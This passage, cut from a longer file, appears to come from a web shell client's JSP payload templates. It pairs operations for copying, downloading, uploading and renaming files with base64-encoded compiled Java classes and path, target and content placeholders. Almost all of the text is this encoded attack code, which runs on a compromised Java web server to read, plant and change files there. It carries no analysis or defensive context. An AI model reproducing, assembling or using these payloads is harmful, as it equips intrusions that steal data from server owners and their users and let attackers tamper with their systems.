DQAQAA4ALAAPAEgAEABTABEAXgATAGcAFABxABUAfAAWAKAAFwCoABgAtAAZAL8AGgDHABsA0wAeANYAHADYAB0A9QAfAE4AAAB3AAb/ACcABQcATwcAUAcAUQcAUgcAUwABBwBU/wABAAUHAE8HAFAHAFEHAFIHAFMAAgcAVAcAVVkHAFT/AAEABQcATwcAUAcAUQcAUgcAUwACBwBUBwBV/wCQAAcHAE8HAFAHAFEHAFIHAFMHAFYHAFYAAQcAVx4AAABYAFkAAgBKAAAAQwAEAAIAAAAeKrQACBIjtgAkmQAFK7C7ACVZK7YAJiq0AAu3ACewAAAAAgBLAAAACgACAAAAIgAOACMATgAAAAMAAQ4AWgAAAAQAAQAgAAAAWwBZAAIASgAAAU0ABgAGAAAAySq0AAgSI7YAJJkAlysSKKUADCsSKLYAJJkABhIHsBIpTSu2ACpMuwArWSu2ACwFbLcALU4SBzoEAzYFFQUrtgAsogBYuwASWbcAExkEtgAVLCsVBbYALrYALwd4LCsVBQRgtgAutgAvgLYAMBIxtgAVtgAWOgQtLCsVBbYALrYALwd4LCsVBQRgtgAutgAvgLYAMoQFAqf/pS0SCrYAM7AqtAAIEjS2ACSZAB4BTbsANVm3ADZOLSu2ADdNuwAlWSwSCrcAJ7ArsAAAAAIASwAAAEoAEgAAACYADAAnABsAKAAeACoAIQArACYALAA0AC0AOAAuAEQALwB2ADAAkwAuAJkAMgCgADMArAA0AK4ANQC2ADYAvAA3AMcAOQBOAAAAIgAGGwL/ABwABgcATwcAVQcAVQcAXAcAVQEAAPoAXfgABiYAWgAAAAQAAQAgAAAAXQBZAAIASgAAAJYACQAFAAAAVRIHTRIHTrsAOFm7ADlZuwA6WbsAO1krtwA8twA9KrQAC7cAPrcAPzoEGQS2AEBZTcYAHrsAElm3ABMttgAVLLYAFRJBtgAVtgAWTqf/3hkEtgBCLbAAAAACAEsAAAAaAAYAAAA8AAYAPQApAD4AMwA/AE4AQQBTAEIATgAAAA8AAv4AKQcAVQcAVQcAXiQAWgAAAAQAAQAgAAEAXwAAAAIAYA==',
'var1': '#{path}'
},
copy: {
_: 'yv66vgAAADIA4QoASwBtBwBuCgACAG8KAAIAcAgATAsAcQByCABzCQBKAHQIAHUIAHYJAEoAdwcAeAoADAB5CAB6CwB7AHwLAHEAfQsAewB9BwB+CgASAG0IAH8KABIAgAoAEgCBCgBKAIIKAEoAgwgAhAgAhQoADACGCgBKAIcKAAwAgQgAiAoAAgCJCgCKAIsHAIwIAI0KACEAgQgAjgoAJgCPBwCQCgAmAJEKACYAkggAkwgAlAoAJgCVBwCWCgAmAJcKACwAmAoAJgCZCgAmAJoKABIAmwgAnAoALACdCgAsAJ4IAJ8HAKAKADYAbQoANgChBwCiCgA5AHkKADkAowoAOQCkCgA5AKUKADkApggApwoAOQCoBwCpCgBBAKoHAKsKAEMAqgoAQQCsCgBDAK0KAEEArgoAQwCuCACvBwBkBwCwAQAHZW5jb2RlcgEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAAmNzAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEADVN0YWNrTWFwVGFibGUHAGQHALAHAG4HALEHALIHAGQHAJAHAHgHAIwBAAJFQwEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAKRXhjZXB0aW9ucwEABmRlY29kZQcAlgEAEUNvcHlGaWxlT3JEaXJDb2RlAQA4KExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsHAKIHALMHAKkHAKsHALQBAApTb3VyY2VGaWxlAQAWQ29weUZpbGVPckRpckNvZGUuamF2YQwATwBQAQAdamF2YXgvc2VydmxldC9qc3AvUGFnZUNvbnRleHQMALUAtgwAtwC4BwCxDAC5AGABAAAMAEwATQEAB2NoYXJzZXQBAAVVVEYtOAwATgBNAQAWamF2YS9sYW5nL1N0cmluZ0J1ZmZlcgwATwC6AQAJdGV4dC9odG1sBwCyDAC7ALoMALwAugEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQAEdmFyMQwAvQC+DAC/AMAMAGIAYAwAXwBgAQAEdmFyMgEAAy0+fAwAvQDBDABkAGUBAAN8PC0MAMIAwwcAxAwAxQC6AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEACUVSUk9SOi8vIAEAA2hleAwAUwBUAQAQamF2YS9sYW5nL1N0cmluZwwAxgDHDABPAMgBAARudWxsAQAQMDEyMzQ1Njc4OUFCQ0RFRgwAyQDAAQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0MAMoAywwATwDMDADNAM4MAM8A0AwAvQDRAQABLAwA0gDMDAC/AGABAAZiYXNlNjQBABZzdW4vbWlzYy9CQVNFNjREZWNvZGVyDADTANQBAAxqYXZhL2lvL0ZpbGUMANUA1gwA1wDWDADYANYMANkA2gEAAS8MANsAwAEAF2phdmEvaW8vRmlsZUlucHV0U3RyZWFtDABPANwBABhqYXZhL2lvL0ZpbGVPdXRwdXRTdHJlYW0MAN0A3gwA0gDfDADgAFABAAExAQAQamF2YS9sYW5nL09iamVjdAEAHGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3QBAB1qYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZQEAD1tMamF2YS9pby9GaWxlOwEAAltCAQAKZ2V0UmVxdWVzdAEAICgpTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7AQALZ2V0UmVzcG9uc2UBACEoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAAxnZXRQYXJhbWV0ZXIBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAA5zZXRDb250ZW50VHlwZQEAFHNldENoYXJhY3RlckVuY29kaW5nAQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEALChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7AQAGZ2V0T3V0AQAfKClMamF2YXgvc2VydmxldC9qc3AvSnNwV3JpdGVyOwEAG2phdmF4L3NlcnZsZXQvanNwL0pzcFdyaXRlcgEABXByaW50AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYB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',
'var1': '#{path}',
'var2': '#{target}'
},
download_file: {
_: 'yv66vgAAADIAygoAQgBfBwBgCgACAGEKAAIAYggAYwsAZABlCABmCABnCABoBwBpCgAKAGoIAGsLAGwAbQsAZABuCwBsAG4HAG8KABAAXwgAcAoAEABxCgAQAHIKAEEAcwoAQQB0CAB1CgAKAHYHAHcKAEEAeAoACgByCAB5CgACAHoKAHsAfAcAfQgAfgoAHwByCAB/CgAkAIAHAIEKACQAggoAJACDCACECACFCgAkAIYHAIcKACQAiAoAKgCJCgAkAIoKACQAiwoAEACMCACNCgAqAI4KACoAjwgAkAcAkQoANABfCgA0AJILABkAkwsAGQCUBwCVBwCWCgA6AGoKADkAlwoAmACZCgA5AJoKAJgAmwoAOQCbBwBXBwCcAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEADVN0YWNrTWFwVGFibGUHAGAHAJ0HAJ4HAIEHAFcHAJwHAGkHAH0BAAJFQwEASihMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAKRXhjZXB0aW9ucwEABmRlY29kZQcAhwEAEERvd25sb2FkRmlsZUNvZGUBAD0oTGphdmEvbGFuZy9TdHJpbmc7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOylWBwB3BwCfBwCgBwCVAQAKU291cmNlRmlsZQEAFURvd25sb2FkRmlsZUNvZGUuamF2YQwAQwBEAQAdamF2YXgvc2VydmxldC9qc3AvUGFnZUNvbnRleHQMAKEAogwAowCkAQAHZW5jb2RlcgcAnQwApQCmAQAAAQAHY2hhcnNldAEABVVURi04AQAWamF2YS9sYW5nL1N0cmluZ0J1ZmZlcgwAQwCnAQAJdGV4dC9odG1sBwCeDACoAKcMAKkApwEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQAEdmFyMQwAqgCrDACsAK0MAFUAUwwAUgBTAQADLT58DACqAK4BACZqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZQwAVwBYAQADfDwtDACvALAHALEMALIApwEAE2phdmEvbGFuZy9FeGNlcHRpb24BAAlFUlJPUjovLyABAANoZXgMAEcASAEAEGphdmEvbGFuZy9TdHJpbmcMALMAtAwAQwC1AQAEbnVsbAEAEDAxMjM0NTY3ODlBQkNERUYMALYArQEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtDAC3ALgMAEMAuQwAugC7DAC8AL0MAKoAvgEAASwMAL8AuQwArACmAQAGYmFzZTY0AQAWc3VuL21pc2MvQkFTRTY0RGVjb2RlcgwAwADBDADCAEQMAMMAxAEAG2phdmEvaW8vQnVmZmVyZWRJbnB1dFN0cmVhbQEAF2phdmEvaW8vRmlsZUlucHV0U3RyZWFtDABDAMUHAKAMAL8AxgwAxwDIDADJAEQBABBqYXZhL2xhbmcvT2JqZWN0AQAcamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdAEAHWphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlAQACW0IBACFqYXZheC9zZXJ2bGV0L1NlcnZsZXRPdXRwdXRTdHJlYW0BAApnZXRSZXF1ZXN0AQAgKClMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAAtnZXRSZXNwb25zZQEAISgpTGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOwEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAOc2V0Q29udGVudFR5cGUBABRzZXRDaGFyYWN0ZXJFbmNvZGluZwEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nAQAUKClMamF2YS9sYW5nL1N0cmluZzsBACwoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVmZmVyOwEABmdldE91dAEAHygpTGphdmF4L3NlcnZsZXQvanNwL0pzcFdyaXRlcjsBABtqYXZheC9zZXJ2bGV0L2pzcC9Kc3BXcml0ZXIBAAVwcmludAEACGdldEJ5dGVzAQAEKClbQgEAFyhbQkxqYXZhL2xhbmcvU3RyaW5nOylWAQALdG9VcHBlckNhc2UBAAZsZW5ndGgBAAMoKUkBAAQoSSlWAQAGY2hhckF0AQAEKEkpQwEAB2luZGV4T2YBAAQoSSlJAQAcKEkpTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEABXdyaXRlAQAMZGVjb2RlQnVmZmVyAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEABXJlc2V0AQAPZ2V0T3V0cHV0U3RyZWFtAQAlKClMamF2YXgvc2VydmxldC9TZXJ2bGV0T3V0cHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEAByhbQklJKVYBAARyZWFkAQAHKFtCSUkpSQEABWNsb3NlACEAQQBCAAAAAAAFAAEAQwBEAAEARQAAAB0AAQABAAAABSq3AAGxAAAAAQBGAAAABgABAAAACgABAEcASAABAEUAAAGqAAUACgAAAPYrwAACTSy2AANOLLYABDoELRIFuQAGAgDGAA4tEgW5AAYCAKcABRIHOgUtEgi5AAYCAMYADi0SCLkABgIApwAFEgk6BrsAClkSB7cACzoHuwAKWRIHtwALOggZBBIMuQANAgAtGQa5AA4CABkEGQa5AA8CACoquwAQWbcAES0SErkABgIAtgATEge2ABO2ABQZBRkGtgAVGQUZBrYAFjoJGQcSF7YAGFcqGQkZBMAAGbYAGhkHGQi2ABu2ABhXGQcSHLYAGFcstgAdGQe2ABu2AB6nACI6CRkIuwAQWbcAERIgtgATGQm2ACG2ABO2ABS2ABhXBKwAAQBaANIA1QAfAAIARgAAAFIAFAAAAA0ABQAOAAoADwAQABAAKgARAEQAEgBPABMAWgAVAGMAFgBrABcAdAAYAKAAGQCoABoAswAbAL4AHADGAB0A0gAgANUAHgDXAB8A9AAhAEkAAABCAAb+ACYHAEoHAEsHAExBBwBN/AAXBwBNQQcATf8AkgAJBwBOBwBPBwBKBwBLBwBMBwBNBwBNBwBQBwBQAAEHAFEeAAAAUgBTAAIARQAAAEQABAAEAAAAHiwSIrYAI5oACSwSIqYABSuwuwAkWSu2ACUttwAmsAAAAAIARgAAAAoAAgAAACQAEQAlAEkAAAAEAAIPAQBUAAAABAABAB8AAABVAFMAAgBFAAABaAAGAAgAAADcLBIitgAjmgAJLBIipgCfKxInpQAMKxIntgAjmQAGEgewEig6BCu2AClMuwAqWSu2ACsFbLcALDoFEgc6BgM2BxUHK7YAK6IAXbsAEFm3ABEZBrYAExkEKxUHtgAttgAuB3gZBCsVBwRgtgAttgAugLYALxIwtgATtgAUOgYZBRkEKxUHtgAttgAuB3gZBCsVBwRgtgAttgAugLYAMYQHAqf/oBkFEgm2ADKwLBIztgAjmgAJLBIzpgAjAToEuwA0WbcANToFGQUrtgA2OgS7ACRZGQQSCbcAJrArsAAAAAIARgAAAEoAEgAAACgADwApAB4AKgAhACwAJQAtACoALgA5AC8APQAwAEkAMQB9ADIAnQAwAKMANACrADUAugA2AL0ANwDGADgAzgA5ANoAOwBJAAAAKgAIDw4C/wAeAAgHAE4HAE0HAE0HAE0HAE0HAFYHAE0BAAD6AGL4AAcOHwBUAAAABAABAB8AAABXAFgAAgBFAAAA4gAFAAcAAABmEQIAvAg6BCy5ADcBACy5ADgBADoFuwA5WbsAOlkrtwA7twA8OgYZBRIXtgAlAwa2AD0ZBhkEAxECALYAPlk+Ap8ADxkFGQQDHbYAPaf/5hkFEhy2ACUDBrYAPRkFtgA/GQa2AECxAAAAAgBGAAAALgALAAAAPwAHAEAADQBBABUAQgAmAEMAMgBEAEMARQBPAEcAWwBIAGAASQBlAEoASQAAADYAAv8AMgAHBwBOBwBNBwBZAAcAWgcAWwcAXAAA/wAcAAcHAE4HAE0HAFkBBwBaBwBbBwBcAAAAVAAAAAQAAQAfAAEAXQAAAAIAXg==',
'var1': '#{path}'
},
upload_file: {
_: 'yv66vgAAADIAvQoAQABbBwBcCgACAF0KAAIAXggAXwsAYABhCABiCABjCABkBwBlCgAKAGYIAGcLAGgAaQsAYABqCwBoAGoHAGsKABAAWwgAbAoAEABtCgAQAG4KAD8AbwoAPwBwCABxCAByCgAKAHMKAD8AdAoACgBuCAB1CgACAHYKAHcAeAcAeQgAegoAHwBuCAB7CgAkAHwHAH0KACQAfgoAJAB/CACACACBCgAkAIIHAIMKACQAhAoAKgCFCgAkAIYKACQAhwoAEACICACJCgAqAIoKACoAiwgAjAcAjQoANABbCgA0AI4HAI8KADcAZgoANwCQBwCRCgA6AJIKADoAigoAOgCTCACUBwBVBwCVAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEADVN0YWNrTWFwVGFibGUHAFwHAJYHAJcHAH0HAFUHAJUHAGUHAHkBAAJFQwEASihMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAKRXhjZXB0aW9ucwEABmRlY29kZQcAgwEADlVwbG9hZEZpbGVDb2RlAQA4KExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsHAI8HAJEBAApTb3VyY2VGaWxlAQATVXBsb2FkRmlsZUNvZGUuamF2YQwAQQBCAQAdamF2YXgvc2VydmxldC9qc3AvUGFnZUNvbnRleHQMAJgAmQwAmgCbAQAHZW5jb2RlcgcAlgwAnACdAQAAAQAHY2hhcnNldAEABVVURi04AQAWamF2YS9sYW5nL1N0cmluZ0J1ZmZlcgwAQQCeAQAJdGV4dC9odG1sBwCXDACfAJ4MAKAAngEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQAEdmFyMQwAoQCiDACjAKQMAFMAUQwAUABRAQAEdmFyMgEAAy0+fAwAoQClDABVAFYBAAN8PC0MAKYApwcAqAwAqQCeAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEACUVSUk9SOi8vIAEAA2hleAwARQBGAQAQamF2YS9sYW5nL1N0cmluZwwAqgCrDABBAKwBAARudWxsAQAQMDEyMzQ1Njc4OUFCQ0RFRgwArQCkAQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0MAK4ArwwAQQCwDACxALIMALMAtAwAoQC1AQABLAwAtgCwDACjAJ0BAAZiYXNlNjQBABZzdW4vbWlzYy9CQVNFNjREZWNvZGVyDAC3ALgBAAxqYXZhL2lvL0ZpbGUMALkAugEAGGphdmEvaW8vRmlsZU91dHB1dFN0cmVhbQwAQQC7DAC8AEIBAAExAQAQamF2YS9sYW5nL09iamVjdAEAHGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3QBAB1qYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZQEACmdldFJlcXVlc3QBACAoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEAC2dldFJlc3BvbnNlAQAhKClMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7AQAMZ2V0UGFyYW1ldGVyAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAA5zZXRDb250ZW50VHlwZQEAFHNldENoYXJhY3RlckVuY29kaW5nAQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEALChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7AQAGZ2V0T3V0AQAfKClMamF2YXgvc2VydmxldC9qc3AvSnNwV3JpdGVyOwEAG2phdmF4L3NlcnZsZXQvanNwL0pzcFdyaXRlcgEABXByaW50AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBAAt0b1VwcGVyQ2FzZQEABmxlbmd0aAEAAygpSQEABChJKVYBAAZjaGFyQXQBAAQoSSlDAQAHaW5kZXhPZgEABChJKUkBABwoSSlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAFd3JpdGUBAAxkZWNvZGVCdWZmZXIBABYoTGphdmEvbGFuZy9TdHJpbmc7KVtCAQANY3JlYXRlTmV3RmlsZQEAAygpWgEAEihMamF2YS9pby9GaWxlO1opVgEABWNsb3NlACEAPwBAAAAAAAAFAAEAQQBCAAEAQwAAAB0AAQABAAAABSq3AAGxAAAAAQBEAAAABgABAAAACAABAEUARgABAEMAAAHdAAUACwAAASUrwAACTSy2AANOLLYABDoELRIFuQAGAgDGAA4tEgW5AAYCAKcABRIHOgUtEgi5AAYCAMYADi0SCLkABgIApwAFEgk6BrsAClkSB7cACzoHuwAKWRIHtwALOggZBBIMuQANAgAtGQa5AA4CABkEGQa5AA8CACoquwAQWbcAES0SErkABgIAtgATEge2ABO2ABQZBRkGtgAVGQUZBrYAFjoJKiq7ABBZtwARLRIXuQAGAgC2ABMSB7YAE7YAFBkFGQa2ABUZBRkGtgAWOgoZBxIYtgAZVxkIKhkJGQq2ABq2ABlXGQcZCLYAG7YAGVcZBxIctgAZVyy2AB0ZB7YAG7YAHqcAIjoJGQi7ABBZtwAREiC2ABMZCbYAIbYAE7YAFLYAGVcErAABAFoBAQEEAB8AAgBEAAAAVgAVAAAACwAFAAwACgANABAADgAqAA8ARAAQAE8AEQBaABMAYwAUAGsAFQB0ABYAoAAXAMwAGADUABkA4gAaAO0AGwD1ABwBAQAfAQQAHQEGAB4BIwAgAEcAAABCAAb+ACYHAEgHAEkHAEpBBwBL/AAXBwBLQQcAS/8AwQAJBwBMBwBNBwBIBwBJBwBKBwBLBwBLBwBOBwBOAAEHAE8eAAAAUABRAAIAQwAAAEQABAAEAAAAHiwSIrYAI5oACSwSIqYABSuwuwAkWSu2ACUttwAmsAAAAAIARAAAAAoAAgAAACMAEQAkAEcAAAAEAAIPAQBSAAAABAABAB8AAABTAFEAAgBDAAABaAAGAAgAAADcLBIitgAjmgAJLBIipgCfKxInpQAMKxIntgAjmQAGEgewEig6BCu2AClMuwAqWSu2ACsFbLcALDoFEgc6BgM2BxUHK7YAK6IAXbsAEFm3ABEZBrYAExkEKxUHtgAttgAuB3gZBCsVBwRgtgAttgAugLYALxIwtgATtgAUOgYZBRkEKxUHtgAttgAuB3gZBCsVBwRgtgAttgAugLYAMYQHAqf/oBkFEgm2ADKwLBIztgAjmgAJLBIzpgAjAToEuwA0WbcANToFGQUrtgA2OgS7ACRZGQQSCbcAJrArsAAAAAIARAAAAEoAEgAAACcADwAoAB4AKQAhACsAJQAsACoALQA5AC4APQAvAEkAMAB9ADEAnQAvAKMAMwCrADQAugA1AL0ANgDGADcAzgA4ANoAOgBHAAAAKgAIDw4C/wAeAAgHAEwHAEsHAEsHAEsHAEsHAFQHAEsBAAD6AGL4AAcOHwBSAAAABAABAB8AAABVAFYAAgBDAAAAtAAGAAcAAABXEihOuwA3WSu3ADg6BBkEtgA5V7sAOlkZBAS3ADs6BQM2BhUGLLYAK6IAJxkFLSwVBrYALbYALgd4LSwVBgRgtgAttgAugLYAPIQGAqf/1hkFtgA9Ej6wAAAAAgBEAAAAJgAJAAAAPQADAD4ADQA/ABMAQAAfAEEAKwBCAEkAQQBPAEQAVABFAEcAAAAfAAL/ACIABwcATAcASwcASwcASwcAVwcAWAEAAPoALABSAAAABAABAB8AAQBZAAAAAgBa',
'var1': '#{path}',
'var2': '#{buffer::content}'
},
rename: {
_: 'yv66vgAAADIAsgoAPABVBwBWCgACAFcKAAIAWAgAWQsAWgBbCABcCABdCABeBwBfCgAKAGAIAGELAGIAYwsAWgBkCwBiAGQHAGUKABAAVQgAZgoAEABnCgAQAGgKADsAaQoAOwBqCABrCABsCgAKAG0KADsAbgoACgBoCABvCgACAHAKAHEAcgcAcwgAdAoAHwBoCAB1CgAkAHYHAHcKACQAeAoAJAB5CAB6CAB7CgAkAHwHAH0KACQAfgoAKgB/CgAkAIAKACQAgQoAEACCCACDCgAqAIQKACoAhQgAhgcAhwoANABVCgA0AIgHAIkKADcAYAoANwCKCACLBwBRBwCMAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEADVN0YWNrTWFwVGFibGUHAFYHAI0HAI4HAHcHAFEHAIwHAF8HAHMBAAJFQwEASihMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAKRXhjZXB0aW9ucwEABmRlY29kZQcAfQEAE1JlbmFtZUZpbGVPckRpckNvZGUBADgoTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAClNvdXJjZUZpbGUBABhSZW5hbWVGaWxlT3JEaXJDb2RlLmphdmEMAD0APgEAHWphdmF4L3NlcnZsZXQvanNwL1BhZ2VDb250ZXh0DACPAJAMAJEAkgEAB2VuY29kZXIHAI0MAJMAlAEAAAEAB2NoYXJzZXQBAAVVVEYtOAEAFmphdmEvbGFuZy9TdHJpbmdCdWZmZXIMAD0AlQEACXRleHQvaHRtbAcAjgwAlgCVDACXAJUBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgEABHZhcjEMAJgAmQwAmgCbDABPAE0MAEwATQEABHZhcjIBAAMtPnwMAJgAnAwAUQBSAQADfDwtDACdAJ4HAJ8MAKAAlQEAE2phdmEvbGFuZy9FeGNlcHRpb24BAAlFUlJPUjovLyABAANoZXgMAEEAQgEAEGphdmEvbGFuZy9TdHJpbmcMAKEAogwAPQCjAQAEbnVsbAEAEDAxMjM0NTY3ODlBQkNERUYMAKQAmwEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtDAClAKYMAD0ApwwAqACpDACqAKsMAJgArAEAASwMAK0ApwwAmgCUAQAGYmFzZTY0AQAWc3VuL21pc2MvQkFTRTY0RGVjb2RlcgwArgCvAQAM